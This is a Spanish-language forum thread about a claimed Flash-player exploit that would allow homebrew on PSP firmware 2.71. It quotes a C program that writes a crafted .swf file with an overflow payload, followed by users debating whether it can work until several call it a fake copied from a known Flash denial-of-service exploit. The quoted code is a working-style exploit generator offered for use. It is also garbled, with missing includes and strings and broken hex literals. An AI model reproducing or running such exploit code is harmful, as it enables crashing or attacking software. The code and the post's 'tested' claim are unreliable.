Posible homebrew en 2.71

Supongo que como siempre al final resultará inutil o un fake, pero en pspudates están con esto:

http://forums.qj.net/showthread.php?t=59521&page=1&pp=10

Es (se supone) un "hello world" en 2.71 mediante un exploit en el flash player.

Esperemos que sea algo.

Dice así:

Originally Posted by coder X
Hello Coder X here, Below it the code for an Bufferoverrun exploite i found using the PSP 2.71 flash browser plug-in

Any one intrested in using the exploite and making a e-loader, please give me credit for the exploite, and contact me, we can work togeter to make it.

This is a tested exploite and does work, so i hope you all enjoy, 2.71 uses Welcome to Homebrew

I will be working on a bin for the program so expect tetris or something out in a bit.

/*
* ************************* ************************* *********
* PSP FW 2.71 Overflow Test
************************* ************************* ***********
*/

#include
#include
#include

void usage(char* file);

/*

...

*/
char SWF[] = "";
char SWF_[] = "
";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] =
"\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
system("cls");
printf("\n* ************************* ************************* ******* *");
printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
printf("\n* ************************* ************************* ******* *");


if ( argc!=2 )
{
usage(argv[0]);
}

FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}

printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF), f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof( DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof (ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End), f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_ ),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
}

void usage(char* file)
{
printf("\n\n");
printf("\n%s ",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}
tarde o temprano tenia que salir algo para las 2.71 sabiendo que el flash 6 tenía muchos fallos.
bajo mi punto de vista (q no digo q sea el correcto) pienso q si ese bug se materializa y se consiguiera cargar algun eboot a traves de el, luego se podria acceder al modo kernel a traves del mixmo exploit el de la 2.6 y 2.5 q creo q tb seguira en la 2.70 y 2.71 asi q a ver si hay suerte y al fin todos los usuarios pueden disfrutar al 100% de su psp
¿Eso puedes significar que se podra cargar homebrew y habra isoloaders para 2.71? Ya voy a estar enviando la garantia al sat :p
Pues esperemos no llevarnos otra decepcion.
Pregunta tonta: eso es un programa en C, que se compila y se convierte en un EBOOT.PBP. Bien, mi pregunta es, si ese EBOOT causa el xploit, ¿como narices se ejecuta en una 2.71, donde no se pueden ejecutar EBOOTS sin firmar?
ffelagund escribió:Pregunta tonta: eso es un programa en C, que se compila y se convierte en un EBOOT.PBP. Bien, mi pregunta es, si ese EBOOT causa el xploit, ¿como narices se ejecuta en una 2.71, donde no se pueden ejecutar EBOOTS sin firmar?


cualquier eboot q quieras lazar como en 1.5 requiere la firma digital de sony ya q es suyo propio, en cambio en un xploit como sea de flash o de imagenes o videos etc... no lo requiere ya q no necesita ninguna autorizacion ni firma, eso si primero hay q averiguar si ese exploit funciona y hastaq punto puede llegar a servir
ffelagund escribió:Pregunta tonta: eso es un programa en C, que se compila y se convierte en un EBOOT.PBP. Bien, mi pregunta es, si ese EBOOT causa el xploit, ¿como narices se ejecuta en una 2.71, donde no se pueden ejecutar EBOOTS sin firmar?


Por lo que veo en el código, parece un programa en C, que al ejecutarse genera un .swf con ciertos datos binarios incluidos entre las etiquetas y (exactamente estos: "\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";)

Supongo que ese swf es el que tiene el exploit y por lo tanto el que habría que ejecutar en 2.71, pero no se, yo esperaría, no sea que sea un fake o algo peor...
esperemos que sea así! ^^
TyRaeL escribió:
cualquier eboot q quieras lazar como en 1.5 requiere la firma digital de sony ya q es suyo propio, en cambio en un xploit como sea de flash o de imagenes o videos etc... no lo requiere ya q no necesita ninguna autorizacion ni firma, eso si primero hay q averiguar si ese exploit funciona y hastaq punto puede llegar a servir


Creo que estás equivocado, si un eboot contiene el mayor exploit del mundo, pero no está firmado, no llega a ejecutarse, por lo que el exploit no ocurre. La comprobación de la firma se realiza antes de ejecutarse el código del eboot, y además por duplicado.

Edito: otra cosa es que ese programa en C, se ejecute en una 1.5, genere un swf, y sea ese swf el que provoque el desbordamiento en una 2.71. En ese caso no digo nada.
ffelagund escribió:
Creo que estás equivocado, si un eboot contiene el mayor exploit del mundo, pero no está firmado, no llega a ejecutarse, por lo que el exploit no ocurre. La comprobación de la firma se realiza antes de ejecutarse el código del eboot, y además por duplicado.


No está equivocado... no habla de un eboot, sino de un flash por ejemplo. Esto se ejecuta desde el navegador, no es un eboot, y por lo tanto no va firmado

Edito: He compilado el programa, y me ha creado un swf al ejecutarlo. Yo paso de probarlo XDD, pero vamos, crearlo lo ha creado.
sotomonte escribió:
No está equivocado... no habla de un eboot, sino de un flash por ejemplo. Esto se ejecuta desde el navegador, no es un eboot, y por lo tanto no va firmado

Edito: He compilado el programa, y me ha creado un swf al ejecutarlo. Yo paso de probarlo XDD, pero vamos, crearlo lo ha creado.


Si lo estaba, ese eboot no se puede ejecutar en una 2.71 de ninguna manera, no así el swf que éste genera. En esto estamos los dos de acuerdo.

No tengo una 2.71 ni el devhook con 2.71, pero este es un exploit muy conocido ya del macromedia flash player de windows, dudo que funcione en una PSP.
ffelagund escribió:
Creo que estás equivocado, si un eboot contiene el mayor exploit del mundo, pero no está firmado, no llega a ejecutarse, por lo que el exploit no ocurre. La comprobación de la firma se realiza antes de ejecutarse el código del eboot, y además por duplicado.

Edito: otra cosa es que ese programa en C, se ejecute en una 1.5, genere un swf, y sea ese swf el que provoque el desbordamiento en una 2.71. En ese caso no digo nada.


claro la intencion seria q lo generaran y luego a partir de ahi en una 2.71 abrirlo con el navegador y q nos diera acceso a poder ejecutar codigo binario con el cual se intentaria cargar a traves de un loader el eboot de modo kernel q hay en las 2.5 y 2.6 aunq no se si sera factible... ya digo q no entiendo mucho
Este hilo no merece la pena que siga abierto. Esto es un fake como una casa (solo hay que leerse la pagina 17 del hilo en pspudates)
pfff, esto suena a fake, la verdad. En el post de pspupdates han puesto que el código es exacto al de un exploit conocido

http://www.exploits-lab.info/Ddos-Attack/Exploits/Article625-Macromedia-Flash-Plugin-%3C=-70190-(Action)-Denial-of-Service-(DOS)-Exploit.html

en fin... era demasiado bonito

Edito: ffelagund, como comprenderás, la página 17 la acaban de escribir :P, no ha dado tiempo a nada
15 respuestas